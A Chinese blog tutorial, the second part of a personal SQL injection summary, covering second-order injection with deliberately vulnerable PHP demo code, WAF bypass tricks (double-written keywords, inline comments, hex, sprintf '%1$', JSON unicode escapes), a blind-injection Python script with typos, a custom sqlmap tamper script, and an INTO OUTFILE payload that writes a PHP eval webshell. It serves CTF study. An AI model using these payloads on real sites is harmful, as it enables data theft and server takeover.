0x00前言:

继上篇的内容,这章总结下二次注入,python脚本,bypass

上篇sql注入总结(一)--2018自我整理

0x01二次注入:

二次注入的原理是在把非法代码添加进数据库里面存储了,因为 \' 这种转义不会把\(反斜杠)代入到数据库中存储,然后在其他地方调用了这个非法代码并且拼接到sql语句中了

简而言之

非法代码             ==存入==>  数据库        #非法代码  \' 这种转义的只会把 ' 存入数据库

数据库中的非法代码字段 ==取出==> 后台语言中的变量中

后台语言变量的非法代码 ==代入==> sql查询语句中进行拼接

这里我手写了个建议的二次注入原理代码

插入数据页面代码input.php

<?php
$conn = mysql_connect('localhost', 'root', 'root');
mysql_select_db("test", $conn);
?> <html>
<head>
<meta charset="utf-8">
</head>
<form action="" method="post">
用户id:<input type = "text" name="id" value="" /><br>
用户名:<input type = "text" name="username" value="" /><br>
密码:<input type = "text" name="password" value="" /><br>
邮箱:<input type ="text" name="email" value="" /><br>
<input type="submit" name="submit" />
</form>
</html> <?php
$id = @addslashes($_POST['id']);
$username = @addslashes($_POST['username']);
$password = @addslashes($_POST['password']);
$email = @addslashes($_POST['email']);
$sql = "insert into userinfo values('$id','$username','$password','$email')";
mysql_query($sql);
?>

查询数据页面代码out.php

<?php
$uid = $_GET['uid'];
$conn = mysql_connect('localhost', 'root', 'root');
mysql_select_db("test", $conn);
$sql = "SELECT * FROM userinfo where id='$uid'";
$result = mysql_query($sql);
$ans = mysql_fetch_array($result);
$username = $ans['username'];
$sql2 = "SELECT * FROM userinfo where username='$username'";
$result = mysql_query($sql2);
$ans = mysql_fetch_array($result);
var_dump($ans);

首先查看数据库里面的数据,就2个

在input.php页面添加信息,用户名就是我们的注入代码

再看数据库,发现 \ 这个符号确实没有被代入数据库中存储

在out.php中传入get参数3,发现执行union联合查询输出的1,2,database(),4。这里我数据库名字叫做'test'

至此二次查询的原理就是这样,在ctf中曾做过一道二次查询的题目

题目攻击方式大致是通过注册,如果执行成功主页和执行失败的主页是有区别的,然后写python脚本盲注得出flag

其中用户名的代码为

'or if((length((select database()))>0),1,0) or'

代入数据库前完整代码可能是
insert into user values('id','\'or if((length((select database()))>0),1,0) or\'','password') 取出数据时候的情况即
$username = $ans['username']    #$username = 'or if((length((select database()))>0),1,0) or' 第二次拼接的情况
mysql_query("select * from user where username = ''or if((length((select database()))>0),1,0) or'' ")

那么还存在一种情况就是拼接的字段是id,但是id我们不可控,比如(当然该条件有个限制即 '(单引号) 没有被转义!!!!!!)

mysql_query("insert into userinfo values('4','$username', '$password', '$email')");

查询语句根据username取出数据库内容,再把id拼接到查询语句
$id = $ans['Id'];
mysql_query("select * from userinfo where id = $id ")

这时候我们可以控制$email参数,做到写入多组记录

si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com

可以看到一口气注册了2个账号,而5号账号是我可控的(我将源代码中input.php的addslashes给去除了)

类比下,如果只有中间的password我们可控的话

password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com'),('6','myname','password2    #这样会出现3组数据
或者
password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha                             #这样就出现2组数据

0x02bypass:

写bypass总有些心虚,因为自己知道的不多23333

双写绕过清空

有些waf是用preg_match将非法字符替换为空,比如

$sql = preg_match("/union|select/i", "", $sql)

它不是把你数据直接挡掉报错,而是处理后仍然通行,在有/xx/i忽视大小写可以双写

selselectect  ==去掉其中的select==> sel去掉的ect ==> select

url和base64编码

其实这不怎么算bypass,但是有些书上也这么讲,这里稍微写下

在有些代码中会对参数进行base64解码,url解码等操作,如果这些操作在转义或者waf之后的话,就会逃过过滤达到注入的效果

如果在处理之前的话就没有作用啦

内敛注释

在有些在后台代码上对关键字并未过滤,但是之后会经过安全软件,再存入数据库,有时候内敛注释可以骗过安全软件

/*!union*/    #其中的union是会执行的

空格被过滤

有2中办法,通过括号或者/**/来完成不需要空格也能执行的方法

xx'/**/union/**/select/**/1,2,3,4/**/#
xx'union select(1),(2),(3)#
空格有个问题,它是将参数括起来来绕过空格,但是如果2个关键字比如这里的union和select没法一个当另一个的参数,于是有时候这个方法也不灵

单引号的过滤

虽然sql注入第一步就是将单引号逃逸出来,但是有时候单引号逃逸了后会在单引号前面加些奇怪的东西,比如GBK宽字节注入

这时候可以hex编码

'内容'  等价于 0x内容的十六进制编码

'abc'   = 0x616263

特别的sprintf

有些时候会用sprintf来包裹sql语句,但是sprintf这个函数有个问题在,非正常的地方输入%,会提示warning(如果没有用@禁止的话)

利用方法,用 %1$' 代替 '

'  ==> %1$'
%1$'or 1=1 #

关键字的绕过

在总结一中归纳了  ,(逗号) 被过滤的方法

if(exp1, exp2, exp3)   =>  case when exp1 then exp2 else exp3 end

​substr(exp1, 1, 1)     => substr(exp1) from 1 for 1

如果 and 和 or 被过滤了

and   => &&
or => ||

如果where被过滤了

where id='1'   =>  order by id having id='1' 

如果'='被过滤了

'='    =>  '<>'

如果'<','>','='被过滤了,但是要设置范围

id = 1   ==> id between 1 and 1

关于json的编码

之前做18年HCTF的时候,一道简单的代码审计题,会将cookie中的值代入waf中,然后再进入数据库

关键点在于在经过waf后,它会进行json的解码。

在json解码中有个Unicode的编码问题,有兴趣大家可以百度下,我这里直接写利用方法

json编码可以用\u00xx (xx为16进制ascii码)来用Unicode来编码对应字符。如果waf在json_decode之前,那么可以通过这个方法绕过

'\u0075'  ==>  'u'

0x03python脚本

sqlmap十分强大,但是就算是level5,有时候也会被特别的waf给拦截,调用它的bypass模块又记不住。这里就总结下自己怎么写盲注python脚本

import requests
url = "xxxx"
flag = ""
s = reuqests.session()      #获取会话
for i in range(100):       #在bool还是延时注入的时候都要一个个试,假设我们这里不知道目标字段的长度就稍微设置个合适的
  for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-,.":    #这个是可能的字符,一个个试呗
    payload = "xx' or if((substr(database())=" + str(j) + "," + str(i) + ",1),1,0) #"       #手工测出来有效的payload,当然实际情况会根据waf变个型
    data = {
      'username':'payload',
      'password':'123'
    }
    s.post(url,data=data)  #发送数据
    if "right" in s.text :  #如果返回值有在sql语句成功后有不同于失败的时候的回显,将该回显当做判定
      flag += str(j)
      print flag
      beak

那么我们在知道替换规则的情况下可以自己写sqlmap的bypass脚本

在sqlmap文件夹下的/tamper/下,自己创建个py文件

#!/usr/bin/env python
from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies():
pass def tamper(payload, **kwargs):
payload = payload.replace("'","%1$'")      #将什么替换成什么
payload = payload.replace("u","\u0075")     #将什么替换成什么,可以写很多个
return payload

在sqlmap使用的时候调用这个模块,即可使用自定义过程

sqlmap --tamper=模块名.py -u 'http://xxx.xx.xx.xx/ddd.php?id=1'

0x04将结果写入文件达到getshell

写入文件的前提是outfile这个关键字没有被禁止,并且知道web站点的绝对路径

使用方法是

xx' union select 1,2,'<?php eval($_POST[]) ?>' into outfile '/var/www/html/sijidou.php' #

0xff结语

sql注入差不多我近一年来学到的就这些,可能还远远不够,遇到一个记一个是个笨办法,但也不失是一个好办法。

sql注入总结(二)--2018自我整理的更多相关文章

  1. sql注入总结(一)--2018自我整理

    SQL注入总结 前言: 本文和之后的总结都是进行总结,详细实现过程细节可能不会写出来~ 所有sql语句均是mysql数据库的,其他数据库可能有些函数不同,但是方法大致相同 0x00 SQL注入原理: ...

  2. SQL注入之二次,加解密,DNS等注入

    #sql注入之二次注入 1.注入原理 二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入.恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 ...

  3. SQL注入原理二

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多. 但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候 ,没有对用户输入数据的合法性进行判断,使应用程序存 ...

  4. 170605、防止sql注入(二)

    java filter防止sql注入攻击 原理,过滤所有请求中含有非法的字符,例如:, & <  select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使 ...

  5. 十七:SQL注入之二次加解密,DNS注入

    加解密,二次,DNSlog注入 注入原理,演示案例,实际应用. less-21关,base64进行解密 encode加密decode解密 cookie处注入 判断加密算法,然后进行注入 less-24 ...

  6. SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入

    1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...

  7. xss总结--2018自我整理

    0x00前言 因为ctf中xss的题目偏少(因为需要机器人在后台点选手的连接2333),所有写的比较少 这里推荐个环境http://test.xss.tv/ 0x01xss作用 常见的输出函数:pri ...

  8. CTF SQL注入

    目录 一.宽字节注入 二.基于约束的注入 三.报错注入 四.时间盲注 五.bool盲注 六.order by的注入 六.INSERT.UPDATE.DELETE相关的注入 七.堆叠注入 八.常用绕过 ...

  9. C#防SQL注入代码的实现方法

    对于网站的安全性,是每个网站开发者和运营者最关心的问题.网站一旦出现漏洞,那势必将造成很大的损失.为了提高网站的安全性,首先网站要防注入,最重要的是服务器的安全设施要做到位. 下面说下网站防注入的几点 ...

随机推荐

  1. Python 成仙之路

    这个部分的所有内容,都是我学习Python过程中的学习笔记. 这个部分的所有内容,都是我学习Python过程中的学习笔记. 这个部分的所有内容,都是我学习Python过程中的学习笔记. 第一部分  p ...

  2. 首次使用Vue开发

    1.首先在页面上添加如下的代码 var app = new Vue({ el: '#signupForm', data: { UserName: '', PWD: '' } }); 2.在下面添加ht ...

  3. css 背景图片自适应元素大小

    一.一种比较土的方法,<img>置于底层. 方法如下: CSS代码: HTML: <img src="背景图片路径" /> <span>字在背景 ...

  4. 【转】assert预处理宏与预处理变量

    assert assert是一个预处理宏,由预处理器管理而非编译器管理,所以使用时都不用命名空间声明,如果你写成std::assert反而是错的.使用assert需要包含cassert或assert. ...

  5. pom.xml的第一行报错

    第一行:<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.or ...

  6. saltstack自动化运维系列⑤之saltstack的配置管理详解

    saltstack自动化运维系列⑤之saltstack的配置管理详解 配置管理初始化: a.服务端配置vim /etc/salt/master file_roots: base: - /srv/sal ...

  7. vue 安装教程(自己安装过程及遇到的一些坑)

    1.安装node.js(http://www.runoob.com/nodejs/nodejs-install-setup.html) 2.基于node.js,利用淘宝npm镜像安装相关依赖 在cmd ...

  8. liunx rm 命令修改

    原文:https://blog.csdn.net/Ace_Shiyuan/article/details/60139791 1.打开一个终端,输入命令:vim ~/.bashrc Linux下修改rm ...

  9. Laravel firstOrNew 与 firstOrCreate 的区别

    例如: $item = App\Deployment::firstOrNew( ['name' => '问答小程序'], ['delayed' => 1] ); firstOrNew 需要 ...

  10. hdu1698

    /*区间更新*/#include <cstdio> #include <algorithm> using namespace std; #define lson l , m , ...